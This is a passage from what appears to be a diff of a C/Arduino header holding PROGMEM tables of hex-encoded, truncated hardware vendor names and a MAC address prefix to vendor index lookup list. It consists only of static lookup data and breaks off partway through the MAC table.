0x6f, 0x72, 0x63, 0x6f, +0x44, 0x65, 0x63, 0x69, 0x73, 0x6f, 0x42, 0x56, +0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x45, 0x77, +0x4e, 0x65, 0x78, 0x67, 0x65, 0x6e, 0x53, 0x74, +0x43, 0x6f, 0x75, 0x6e, 0x74, 0x6d, 0x61, 0x78, +0x57, 0x65, 0x62, 0x65, 0x72, 0x53, 0x63, 0x68, +0x45, 0x61, 0x67, 0x6c, 0x65, 0x57, 0x6f, 0x72, +0x48, 0x61, 0x77, 0x61, 0x54, 0x65, 0x63, 0x68, +0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x6d, 0x61, +0x54, 0x65, 0x72, 0x72, 0x61, 0x73, 0x65, 0x6d, +0x54, 0x69, 0x6d, 0x65, 0x49, 0x6e, 0x74, 0x65, +0x43, 0x6f, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x49, +0x42, 0x6c, 0x61, 0x63, 0x6b, 0x6e, 0x65, 0x64, +0x57, 0x65, 0x79, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x46, 0x72, 0x65, 0x65, 0x62, 0x69, 0x74, 0x00, +0x56, 0x69, 0x73, 0x70, 0x69, 0x72, 0x6f, 0x6e, +0x59, 0x75, 0x6e, 0x6e, 0x61, 0x6e, 0x49, 0x64, +0x53, 0x65, 0x6d, 0x6f, 0x63, 0x6f, 0x6e, 0x00, +0x4c, 0x67, 0x73, 0x49, 0x6e, 0x6e, 0x6f, 0x76, +0x59, 0x6f, 0x75, 0x6e, 0x67, 0x7a, 0x6f, 0x6e, +0x44, 0x61, 0x77, 0x6f, 0x6e, 0x44, 0x6e, 0x73, +0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x4a, 0x69, +0x45, 0x73, 0x70, 0x6f, 0x64, 0x00, 0x00, 0x00, +0x54, 0x72, 0x61, 0x71, 0x75, 0x65, 0x75, 0x72, +0x53, 0x6f, 0x6c, 0x61, 0x72, 0x50, 0x6f, 0x77, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x5a, +0x53, 0x67, 0x73, 0x67, 0x53, 0x63, 0x69, 0x65, +0x4a, 0x62, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x65, 0x64, 0x69, 0x70, 0x72, 0x6f, 0x67, +0x4a, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x5a, 0x6f, 0x79, 0x69, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x68, 0x6f, 0x6d, 0x70, 0x00, 0x00, 0x00, +0x44, 0x72, 0x73, 0x49, 0x6d, 0x61, 0x67, 0x69, +0x5a, 0x79, 0x63, 0x61, 0x73, 0x74, 0x54, 0x65, +0x4e, 0x61, 0x74, 0x75, 0x72, 0x61, 0x6c, 0x53, +0x41, 0x74, 0x6f, 0x70, 0x69, 0x61, 0x4c, 0x70, +0x54, 0x65, 0x6c, 0x65, 0x66, 0x6f, 0x6e, 0x62, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x77, 0x69, 0x6e, +0x4c, 0x6f, 0x6e, 0x67, 0x64, 0x68, 0x75, 0x61, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x49, 0x6e, 0x66, +0x43, 0x79, 0x70, 0x72, 0x65, 0x73, 0x73, 0x54, +0x59, 0x65, 0x65, 0x6c, 0x69, 0x6e, 0x6b, 0x00, +0x52, 0x74, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x67, 0x61, 0x75, 0x67, 0x65, 0x4c, 0x6c, +0x45, 0x6e, 0x64, 0x65, 0x61, 0x76, 0x6f, 0x75, +0x4d, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x61, 0x52, +0x59, 0x61, 0x73, 0x75, 0x64, 0x61, 0x4a, 0x6f, +0x53, 0x79, 0x6e, 0x74, 0x65, 0x63, 0x49, 0x6e, +0x58, 0x32, 0x67, 0x65, 0x6e, 0x44, 0x69, 0x67, +0x45, 0x75, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x6d, 0x65, 0x74, 0x72, +0x56, 0x65, 0x72, 0x61, 0x74, 0x68, 0x6f, 0x6e, +0x44, 0x65, 0x6e, 0x77, 0x61, 0x54, 0x65, 0x63, +0x56, 0x6e, 0x6c, 0x45, 0x75, 0x72, 0x6f, 0x70, +0x53, 0x61, 0x6e, 0x66, 0x6f, 0x72, 0x64, 0x4c, +0x53, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x2d, 0x43, 0x75, 0x62, 0x65, 0x00, 0x00, +0x49, 0x63, 0x4e, 0x65, 0x78, 0x75, 0x73, 0x00, +0x58, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6e, 0x6f, 0x76, 0x61, 0x41, 0x70, 0x70, +0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x43, 0x68, +0x53, 0x65, 0x69, 0x62, 0x75, 0x45, 0x6c, 0x65, +0x41, 0x72, 0x63, 0x78, 0x00, 0x00, 0x00, 0x00, +0x47, 0x6f, 0x6c, 0x64, 0x6d, 0x61, 0x6e, 0x53, +0x4e, 0x65, 0x6f, 0x70, 0x69, 0x73, 0x00, 0x00, +0x52, 0x6f, 0x73, 0x6f, 0x6e, 0x69, 0x78, 0x54, +0x46, 0x61, 0x73, 0x74, 0x77, 0x65, 0x6c, 0x49, +0x41, 0x6d, 0x70, 0x65, 0x64, 0x57, 0x69, 0x72, +0x4f, 0x76, 0x65, 0x72, 0x6b, 0x69, 0x7a, 0x00, +0x4b, 0x61, 0x69, 0x73, 0x68, 0x75, 0x6e, 0x45, +0x54, 0x65, 0x6e, 0x65, 0x62, 0x72, 0x61, 0x65, +0x4e, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x47, 0x6c, 0x70, 0x47, 0x65, 0x72, 0x6d, 0x61, +0x56, 0x6f, 0x6c, 0x61, 0x6e, 0x73, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x74, 0x6f, 0x6e, 0x50, 0x72, +0x44, 0x61, 0x65, 0x73, 0x68, 0x69, 0x6e, 0x2d, +0x4c, 0x65, 0x65, 0x6d, 0x61, 0x6e, 0x49, 0x6e, +0x46, 0x6f, 0x72, 0x74, 0x72, 0x65, 0x73, 0x73, +0x59, 0x61, 0x7a, 0x61, 0x6b, 0x69, 0x45, 0x6e, +0x44, 0x69, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x54, +0x4c, 0x65, 0x64, 0x52, 0x6f, 0x61, 0x64, 0x77, +0x52, 0x68, 0x65, 0x77, 0x61, 0x2d, 0x57, 0x61, +0x50, 0x75, 0x69, 0x73, 0x73, 0x61, 0x6e, 0x63, +0x41, 0x78, 0x76, 0x69, 0x65, 0x77, 0x54, 0x65, +0x44, 0x65, 0x6c, 0x74, 0x65, 0x6e, 0x6e, 0x61, +0x52, 0x6f, 0x73, 0x73, 0x6c, 0x61, 0x72, 0x65, +0x41, 0x32, 0x75, 0x69, 0x63, 0x74, 0x00, 0x00, +0x48, 0x69, 0x67, 0x68, 0x67, 0x61, 0x74, 0x65, +0x58, 0x69, 0x41, 0x6e, 0x4c, 0x69, 0x6e, 0x6b, +0x54, 0x73, 0x75, 0x7a, 0x75, 0x6b, 0x69, 0x44, +0x4e, 0x7a, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, +0x43, 0x61, 0x72, 0x65, 0x66, 0x75, 0x73, 0x69, +0x41, 0x78, 0x61, 0x6e, 0x4e, 0x65, 0x74, 0x77, +0x50, 0x75, 0x6d, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x53, 0x69, 0x6d, 0x6d, 0x54, 0x72, 0x6f, 0x6e, +0x52, 0x65, 0x76, 0x52, 0x69, 0x74, 0x74, 0x65, +0x45, 0x63, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00, +0x42, 0x65, 0x74, 0x61, 0x4c, 0x61, 0x73, 0x65, +0x54, 0x61, 0x69, 0x73, 0x68, 0x61, 0x6e, 0x4f, +0x50, 0x6e, 0x79, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x56, 0x61, 0x72, 0x69, 0x73, 0x63, 0x69, 0x74, +0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x63, 0x00, +0x45, 0x67, 0x6b, 0x65, 0x72, 0x4b, 0x66, 0x74, +0x44, 0x69, 0x70, 0x6c, 0x2d, 0x4d, 0x61, 0x74, +0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x4d, +0x52, 0x61, 0x63, 0x6b, 0x77, 0x61, 0x72, 0x65, +0x4e, 0x61, 0x67, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x47, 0x2d, 0x4c, 0x61, 0x62, 0x00, 0x00, 0x00, +0x52, 0x61, 0x77, 0x65, 0x45, 0x6c, 0x65, 0x63, +0x53, 0x79, 0x6e, 0x2d, 0x54, 0x65, 0x63, 0x68, +0x53, 0x61, 0x6e, 0x74, 0x75, 0x72, 0x00, 0x00, +0x52, 0x65, 0x63, 0x69, 0x70, 0x72, 0x6f, 0x63, +0x4e, 0x62, 0x61, 0x73, 0x65, 0x2d, 0x54, 0x41, +0x41, 0x6c, 0x6c, 0x65, 0x67, 0x69, 0x6f, 0x6e, +0x54, 0x72, 0x65, 0x6e, 0x64, 0x79, 0x74, 0x65, +0x4f, 0x63, 0x61, 0x41, 0x6c, 0x6c, 0x69, 0x61, +0x4f, 0x63, 0x63, 0x69, 0x74, 0x61, 0x6c, 0x69, +0x49, 0x6e, 0x57, 0x69, 0x6e, 0x44, 0x65, 0x76, +0x52, 0x73, 0x61, 0x65, 0x4c, 0x61, 0x62, 0x73, +0x52, 0x61, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x53, +0x56, 0x69, 0x65, 0x76, 0x75, 0x00, 0x00, 0x00, +0x46, 0x75, 0x6e, 0x64, 0x61, 0x63, 0x69, 0x6f, +0x43, 0x6f, 0x72, 0x74, 0x6c, 0x61, 0x6e, 0x64, +0x4d, 0x32, 0x6d, 0x6f, 0x74, 0x69, 0x76, 0x65, +0x4c, 0x72, 0x65, 0x4d, 0x65, 0x64, 0x69, 0x63, +0x50, 0x72, 0x65, 0x6e, 0x74, 0x6b, 0x65, 0x52, +0x41, 0x63, 0x74, 0x65, 0x6f, 0x6e, 0x47, 0x72, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x33, 0x00, 0x00, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x41, 0x70, +0x54, 0x61, 0x69, 0x61, 0x6e, 0x54, 0x65, 0x63, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x72, 0x65, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x56, 0x69, 0x73, +0x56, 0x2d, 0x5a, 0x75, 0x67, 0x00, 0x00, 0x00, +0x49, 0x53, 0x6d, 0x61, 0x72, 0x74, 0x43, 0x69, +0x41, 0x75, 0x74, 0x6f, 0x62, 0x61, 0x73, 0x65, +0x49, 0x70, 0x65, 0x76, 0x6f, 0x00, 0x00, 0x00, +0x45, 0x75, 0x72, 0x65, 0x63, 0x61, 0x6d, 0x00, +0x48, 0x61, 0x6e, 0x4b, 0x79, 0x75, 0x6e, 0x67, +0x45, 0x6f, 0x73, 0x74, 0x65, 0x6b, 0x53, 0x68, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x45, 0x6c, 0x65, +0x4c, 0x6f, 0x72, 0x6f, 0x6d, 0x49, 0x6e, 0x64, +0x45, 0x76, 0x65, 0x72, 0x73, 0x70, 0x69, 0x6e, +0x55, 0x74, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x65, 0x6c, 0x6f, 0x74, 0x57, 0x69, 0x72, +0x50, 0x6f, 0x6c, 0x79, 0x65, 0x72, 0x61, 0x00, +0x46, 0x61, 0x76, 0x69, 0x74, 0x65, 0x00, 0x00, +0x54, 0x73, 0x69, 0x6e, 0x67, 0x74, 0x6f, 0x6e, +0x48, 0x65, 0x6e, 0x61, 0x6e, 0x4c, 0x61, 0x6e, +0x53, 0x77, 0x61, 0x72, 0x63, 0x6f, 0x4c, 0x65, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x53, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x65, 0x6e, +0x53, 0x69, 0x6d, 0x65, 0x78, 0x53, 0x70, 0x5a, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x49, +0x42, 0x61, 0x6c, 0x74, 0x69, 0x63, 0x4c, 0x61, +0x57, 0x65, 0x69, 0x62, 0x65, 0x6c, 0x53, 0x63, +0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x62, 0x69, 0x74, +0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x65, 0x64, +0x4c, 0x78, 0x69, 0x6e, 0x73, 0x74, 0x72, 0x75, +0x42, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x46, 0x63, 0x69, 0x55, 0x73, 0x61, 0x4c, 0x6c, +0x43, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x43, 0x6f, +0x54, 0x72, 0x65, 0x69, 0x54, 0x65, 0x63, 0x68, +0x4e, 0x2d, 0x52, 0x61, 0x64, 0x69, 0x6f, 0x54, +0x55, 0x62, 0x69, 0x76, 0x65, 0x6c, 0x6f, 0x78, +0x4d, 0x6f, 0x74, 0x75, 0x73, 0x47, 0x6c, 0x6f, +0x46, 0x69, 0x64, 0x75, 0x73, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x77, 0x69, 0x6e, 0x54, 0x65, +0x50, 0x74, 0x43, 0x61, 0x6c, 0x6c, 0x79, 0x73, +0x4d, 0x69, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68, +0x51, 0x74, 0x73, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x51, 0x75, 0x6c, 0x73, 0x61, 0x72, 0x00, 0x00, +0x53, 0x6f, 0x63, 0x69, 0x6f, 0x6e, 0x65, 0x78, +0x57, 0x61, 0x70, 0x69, 0x63, 0x65, 0x00, 0x00, +0x49, 0x64, 0x61, 0x68, 0x6f, 0x4e, 0x61, 0x74, +0x56, 0x69, 0x6d, 0x61, 0x72, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x66, 0x65, 0x68, 0x65, 0x61, 0x6c, +0x41, 0x73, 0x63, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x43, +0x43, 0x6f, 0x63, 0x61, 0x43, 0x6f, 0x6c, 0x61, +0x4d, 0x65, 0x73, 0x73, 0x61, 0x6e, 0x61, 0x41, +0x45, 0x6e, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x6c, +0x47, 0x2d, 0x57, 0x65, 0x61, 0x72, 0x61, 0x62, +0x41, 0x33, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x6d, +0x41, 0x72, 0x72, 0x61, 0x79, 0x4e, 0x65, 0x74, +0x43, 0x6c, 0x61, 0x79, 0x50, 0x61, 0x6b, 0x79, +0x41, 0x72, 0x72, 0x61, 0x79, 0x65, 0x6e, 0x74, +0x46, 0x6f, 0x72, 0x6d, 0x69, 0x6b, 0x65, 0x45, +0x4f, 0x70, 0x74, 0x65, 0x78, 0x2d, 0x46, 0x61, +0x54, 0x72, 0x6f, 0x6e, 0x74, 0x65, 0x71, 0x45, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x52 +#endif +}; +const static uint8_t data_macs[] PROGMEM = { +#ifdef ENABLE_MAC_LIST +0x00, 0x00, 0x00, 0x00, 0x00, +0x00, 0x00, 0x01, 0x01, 0x00, +0x00, 0x00, 0x02, 0x01, 0x00, +0x00, 0x00, 0x03, 0x01, 0x00, +0x00, 0x00, 0x04, 0x01, 0x00, +0x00, 0x00, 0x05, 0x01, 0x00, +0x00, 0x00, 0x06, 0x01, 0x00, +0x00, 0x00, 0x07, 0x01, 0x00, +0x00, 0x00, 0x08, 0x01, 0x00, +0x00, 0x00, 0x09, 0x02, 0x00, +0x00, 0x00, 0x0A, 0x03, 0x00, +0x00, 0x00, 0x0B, 0x04, 0x00, +0x00, 0x00, 0x0C, 0x05, 0x00, +0x00, 0x00, 0x0D, 0x06, 0x00, +0x00, 0x00, 0x0E, 0x07, 0x00, +0x00, 0x00, 0x0F, 0x08, 0x00, +0x00, 0x00, 0x10, 0x09, 0x00, +0x00, 0x00, 0x11, 0x0a, 0x00, +0x00, 0x00, 0x12, 0x0b, 0x00, +0x00, 0x00, 0x13, 0x0c, 0x00, +0x00, 0x00, 0x14, 0x0d, 0x00, +0x00, 0x00, 0x15, 0x0e, 0x00, +0x00, 0x00, 0x16, 0x0f, 0x00, +0x00, 0x00, 0x17, 0x10, 0x00, +0x00, 0x00, 0x18, 0x11, 0x00, +0x00, 0x00, 0x19, 0x12, 0x00, +0x00, 0x00, 0x1A, 0x13, 0x00, +0x00, 0x00, 0x1B, 0x14, 0x00, +0x00, 0x00, 0x1C, 0x15, 0x00, +0x00, 0x00, 0x1D, 0x16, 0x00, +0x00, 0x00, 0x1E, 0x17, 0x00, +0x00, 0x00, 0x1F, 0x18, 0x00, +0x00, 0x00, 0x20, 0x19, 0x00, +0x00, 0x00, 0x21, 0x1a, 0x00, +0x00, 0x00, 0x22, 0x1b, 0x00, +0x00, 0x00, 0x23, 0x1c, 0x00, +0x00, 0x00, 0x24, 0x1d, 0x00, +0x00, 0x00, 0x25, 0x1e, 0x00, +0x00, 0x00, 0x26, 0x1f, 0x00, +0x00, 0x00, 0x27, 0x20, 0x00, +0x00, 0x00, 0x28, 0x21, 0x00, +0x00, 0x00, 0x29, 0x22, 0x00, +0x00, 0x00, 0x2A, 0x23, 0x00, +0x00, 0x00, 0x2B, 0x24, 0x00, +0x00, 0x00, 0x2C, 0x25, 0x00, +0x00, 0x00, 0x2D, 0x26, 0x00, +0x00, 0x00, 0x2E, 0x27, 0x00, +0x00, 0x00, 0x2F, 0x28, 0x00, +0x00, 0x00, 0x30, 0x29, 0x00, +0x00, 0x00, 0x31, 0x2a, 0x00, +0x00, 0x00, 0x32, 0x2b, 0x00, +0x00, 0x00, 0x33, 0x2c, 0x00, +0x00, 0x00, 0x34, 0x2d, 0x00, +0x00, 0x00, 0x35, 0x2e, 0x00, +0x00, 0x00, 0x36, 0x2f, 0x00, +0x00, 0x00, 0x37, 0x30, 0x00, +0x00, 0x00, 0x38, 0x31, 0x00, +0x00, 0x00, 0x39, 0x32, 0x00, +0x00, 0x00, 0x3A, 0x33, 0x00, +0x00, 0x00, 0x3B, 0x34, 0x00, +0x00, 0x00, 0x3C, 0x35, 0x00, +0x00, 0x00, 0x3D, 0x36, 0x00, +0x00, 0x00, 0x3E, 0x37, 0x00, +0x00, 0x00, 0x3F, 0x38, 0x00, +0x00, 0x00, 0x40, 0x39, 0x00, +0x00, 0x00, 0x41, 0x3a, 0x00, +0x00, 0x00, 0x42, 0x3b, 0x00, +0x00, 0x00, 0x43, 0x3c, 0x00, +0x00, 0x00, 0x44, 0x3d, 0x00, +0x00, 0x00, 0x45, 0x3e, 0x00, +0x00, 0x00, 0x46, 0x3f, 0x00, +0x00, 0x00, 0x47, 0x40, 0x00, +0x00, 0x00, 0x48, 0x41, 0x00, +0x00, 0x00, 0x49, 0x42, 0x00, +0x00, 0x00, 0x4A, 0x43, 0x00, +0x00, 0x00, 0x4B, 0x44, 0x00, +0x00, 0x00, 0x4C, 0x45, 0x00, +0x00, 0x00, 0x4D, 0x46, 0x00, +0x00, 0x00, 0x4E, 0x47, 0x00, +0x00, 0x00, 0x4F, 0x48, 0x00, +0x00, 0x00, 0x50, 0x49, 0x00, +0x00, 0x00, 0x51, 0x4a, 0x00, +0x00, 0x00, 0x52, 0x4b, 0x00, +0x00, 0x00, 0x53, 0x4c, 0x00, +0x00, 0x00, 0x54, 0x4d, 0x00, +0x00, 0x00, 0x55, 0x4e, 0x00, +0x00, 0x00, 0x56, 0x4f, 0x00, +0x00, 0x00, 0x57, 0x50, 0x00, +0x00, 0x00, 0x58, 0x51, 0x00, +0x00, 0x00, 0x59, 0x52, 0x00, +0x00, 0x00, 0x5A, 0x53, 0x00, +0x00, 0x00, 0x5B, 0x54, 0x00, +0x00, 0x00, 0x5C, 0x55, 0x00, +0x00, 0x00, 0x5D, 0x56, 0x00, +0x00, 0x00, 0x5E, 0x57, 0x00, +0x00, 0x00, 0x5F, 0x58, 0x00, +0x00, 0x00, 0x60, 0x59, 0x00, +0x00, 0x00, 0x61, 0x5a, 0x00, +0x00, 0x00, 0x62, 0x5b, 0x00, +0x00, 0x00, 0x63, 0x5c, 0x00, +0x00, 0x00, 0x64, 0x5d, 0x00, +0x00, 0x00, 0x65, 0x5e, 0x00, +0x00, 0x00, 0x66, 0x5f, 0x00, +0x00, 0x00, 0x67, 0x60, 0x00, +0x00, 0x00, 0x68, 0x61, 0x00, +0x00, 0x00, 0x69, 0x62, 0x00, +0x00, 0x00, 0x6A, 0x63, 0x00, +0x00, 0x00, 0x6B, 0x64, 0x00, +0x00, 0x00, 0x6C, 0x65, 0x00, +0x00, 0x00, 0x6D, 0x66, 0x00, +0x00, 0x00, 0x6E, 0x67, 0x00, +0x00, 0x00, 0x6F, 0x68, 0x00, +0x00, 0x00, 0x70, 0x69, 0x00, +0x00, 0x00, 0x71, 0x6a, 0x00, +0x00, 0x00, 0x72, 0x6b, 0x00, +0x00, 0x00, 0x73, 0x6c, 0x00, +0x00, 0x00, 0x74, 0x6d, 0x00, +0x00, 0x00, 0x75, 0x6e, 0x00, +0x00, 0x00, 0x76, 0x6f, 0x00, +0x00, 0x00, 0x77, 0x70, 0x00, +0x00, 0x00, 0x78, 0x71, 0x00, +0x00, 0x00, 0x79, 0x72, 0x00, +0x00, 0x00, 0x7A, 0x73, 0x00, +0x00, 0x00, 0x7B, 0x74, 0x00, +0x00, 0x00, 0x7C, 0x75, 0x00, +0x00, 0x00, 0x7D, 0x10, 0x00, +0x00, 0x00, 0x7E, 0x76, 0x00, +0x00, 0x00, 0x7F, 0x77, 0x00, +0x00, 0x00, 0x80, 0x78, 0x00, +0x00, 0x00, 0x81, 0x79, 0x00, +0x00, 0x00, 0x82, 0x7a, 0x00, +0x00, 0x00, 0x83, 0x7b, 0x00, +0x00, 0x00, 0x84, 0x7c, 0x00, +0x00, 0x00, 0x85, 0x7d, 0x00, +0x00, 0x00, 0x86, 0x7e, 0x00, +0x00, 0x00, 0x87, 0x7f, 0x00, +0x00, 0x00, 0x88, 0x80, 0x00, +0x00, 0x00, 0x89, 0x81, 0x00, +0x00, 0x00, 0x8A, 0x82, 0x00, +0x00, 0x00, 0x8B, 0x83, 0x00, +0x00, 0x00, 0x8C, 0x84, 0x00, +0x00, 0x00, 0x8D, 0x85, 0x00, +0x00, 0x00, 0x8E, 0x86, 0x00, +0x00, 0x00, 0x8F, 0x87, 0x00, +0x00, 0x00, 0x90, 0x88, 0x00, +0x00, 0x00, 0x91, 0x89, 0x00, +0x00, 0x00, 0x92, 0x8a, 0x00, +0x00, 0x00, 0x93, 0x8b, 0x00, +0x00, 0x00, 0x94, 0x8c, 0x00, +0x00, 0x00, 0x95, 0x8d, 0x00, +0x00, 0x00, 0x96, 0x8e, 0x00, +0x00, 0x00, 0x97, 0x8f, 0x00, +0x00, 0x00, 0x98, 0x90, 0x00, +0x00, 0x00, 0x99, 0x91, 0x00, +0x00, 0x00, 0x9A, 0x92, 0x00, +0x00, 0x00, 0x9B, 0x0b, 0x00, +0x00, 0x00, 0x9C, 0x93, 0x00, +0x00, 0x00, 0x9D, 0x94, 0x00, +0x00, 0x00, 0x9E, 0x95, 0x00, +0x00, 0x00, 0x9F, 0x96, 0x00, +0x00, 0x00, 0xA0, 0x97, 0x00, +0x00, 0x00, 0xA1, 0x98, 0x00, +0x00, 0x00, 0xA2, 0x79, 0x00, +0x00, 0x00, 0xA3, 0x99, 0x00, +0x00, 0x00, 0xA4, 0x9a, 0x00, +0x00, 0x00, 0xA5, 0x9b, 0x00, +0x00, 0x00, 0xA6, 0x5e, 0x00, +0x00, 0x00, 0xA7, 0x9c, 0x00, +0x00, 0x00, 0xA8, 0x9d, 0x00, +0x00, 0x00, 0xA9, 0x9e, 0x00, +0x00, 0x00, 0xAA, 0x9f, 0x00, +0x00, 0x00, 0xAB, 0xa0, 0x00, +0x00, 0x00, 0xAC, 0xa1, 0x00, +0x00, 0x00, 0xAD, 0xa2, 0x00, +0x00, 0x00, 0xAE, 0xa3, 0x00, +0x00, 0x00, 0xAF, 0xa4, 0x00, +0x00, 0x00, 0xB0, 0xa5, 0x00, +0x00, 0x00, 0xB1, 0xa6, 0x00, +0x00, 0x00, 0xB2, 0xa7, 0x00, +0x00, 0x00, 0xB3, 0xa8, 0x00, +0x00, 0x00, 0xB4, 0xa9, 0x00, +0x00, 0x00, 0xB5, 0xaa, 0x00, +0x00, 0x00, 0xB6, 0xab, 0x00, +0x00, 0x00, 0xB7, 0xac, 0x00, +0x00, 0x00, 0xB8, 0xad, 0x00, +0x00, 0x00, 0xB9, 0xae, 0x00, +0x00, 0x00, 0xBA, 0xaf, 0x00, +0x00, 0x00, 0xBB, 0xb0, 0x00, +0x00, 0x00, 0xBC, 0xb1, 0x00, +0x00, 0x00, 0xBD, 0xb2, 0x00, +0x00, 0x00, 0xBE, 0xb3, 0x00, +0x00, 0x00, 0xBF, 0xb4, 0x00, +0x00, 0x00, 0xC0, 0xb5, 0x00, +0x00, 0x00, 0xC1, 0xb6, 0x00, +0x00, 0x00, 0xC2, 0x0b, 0x00, +0x00, 0x00, 0xC3, 0xb7, 0x00, +0x00, 0x00, 0xC4, 0xb8, 0x00, +0x00, 0x00, 0xC5, 0xb9, 0x00, +0x00, 0x00, 0xC6, 0xba, 0x00, +0x00, 0x00, 0xC7, 0xbb, 0x00, +0x00, 0x00, 0xC8, 0xbc, 0x00, +0x00, 0x00, 0xC9, 0xbd, 0x00, +0x00, 0x00, 0xCA, 0xb9, 0x00, +0x00, 0x00, 0xCB, 0xbe, 0x00, +0x00, 0x00, 0xCC, 0xbf, 0x00, +0x00, 0x00, 0xCD, 0xc0, 0x00, +0x00, 0x00, 0xCE, 0xc1, 0x00, +0x00, 0x00, 0xCF, 0xc2, 0x00, +0x00, 0x00, 0xD0, 0xc3, 0x00, +0x00, 0x00, 0xD1, 0xc4, 0x00, +0x00, 0x00, 0xD2, 0xc5, 0x00, +0x00, 0x00, 0xD3, 0xc6, 0x00, +0x00, 0x00, 0xD4, 0xc7, 0x00, +0x00, 0x00, 0xD5, 0xc8, 0x00, +0x00, 0x00, 0xD6, 0xc9, 0x00, +0x00, 0x00, 0xD7, 0xca, 0x00, +0x00, 0x00, 0xD8, 0xcb, 0x00, +0x00, 0x00, 0xD9, 0xcc, 0x00, +0x00, 0x00, 0xDA, 0xcd, 0x00, +0x00, 0x00, 0xDB, 0xce, 0x00, +0x00, 0x00, 0xDC, 0xc2, 0x00, +0x00, 0x00, 0xDD, 0xcf, 0x00, +0x00, 0x00, 0xDE, 0xd0, 0x00, +0x00, 0x00, 0xDF, 0xd1, 0x00, +0x00, 0x00, 0xE0, 0xd2, 0x00, +0x00, 0x00, 0xE1, 0xd3, 0x00, +0x00, 0x00, 0xE2, 0xd4, 0x00, +0x00, 0x00, 0xE3, 0xd5, 0x00, +0x00, 0x00, 0xE4, 0xd6, 0x00, +0x00, 0x00, 0xE5, 0xd7, 0x00, +0x00, 0x00, 0xE6, 0xd8, 0x00, +0x00, 0x00, 0xE7, 0xd9, 0x00, +0x00, 0x00, 0xE8, 0xda, 0x00, +0x00, 0x00, 0xE9, 0xdb, 0x00, +0x00, 0x00, 0xEA, 0xdc, 0x00, +0x00, 0x00, 0xEB, 0xdd, 0x00, +0x00, 0x00, 0xEC, 0xde, 0x00, +0x00, 0x00, 0xED, 0xdf, 0x00, +0x00, 0x00, 0xEE, 0xe0, 0x00, +0x00, 0x00, 0xEF, 0xe1, 0x00, +0x00, 0x00, 0xF0, 0xe2, 0x00, +0x00, 0x00, 0xF1, 0xe3, 0x00, +0x00, 0x00, 0xF2, 0xe4, 0x00, +0x00, 0x00, 0xF3, 0xe5, 0x00, +0x00, 0x00, 0xF4, 0xc0, 0x00, +0x00, 0x00, 0xF5, 0xe6, 0x00, +0x00, 0x00, 0xF6, 0xe7, 0x00, +0x00, 0x00, 0xF7, 0xe8, 0x00, +0x00, 0x00, 0xF8, 0xe9, 0x00, +0x00, 0x00, 0xF9, 0xea, 0x00, +0x00, 0x00, 0xFA, 0xeb, 0x00, +0x00, 0x00, 0xFB, 0xec, 0x00, +0x00, 0x00, 0xFC, 0xed, 0x00, +0x00, 0x00, 0xFD, 0xee, 0x00, +0x00, 0x00, 0xFE, 0xef, 0x00, +0x00, 0x00, 0xFF, 0xf0, 0x00, +0x00, 0x01, 0x00, 0xf1, 0x00, +0x00, 0x01, 0x01, 0x65, 0x00, +0x00, 0x01, 0x02, 0xf2, 0x00, +0x00, 0x01, 0x03, 0xf2, 0x00, +0x00, 0x01, 0x04, 0xf3, 0x00, +0x00, 0x01, 0x05, 0xf4, 0x00, +0x00, 0x01, 0x06, 0xf5, 0x00, +0x00, 0x01, 0x07, 0xf6, 0x00, +0x00, 0x01, 0x08, 0xf7, 0x00, +0x00, 0x01, 0x09, 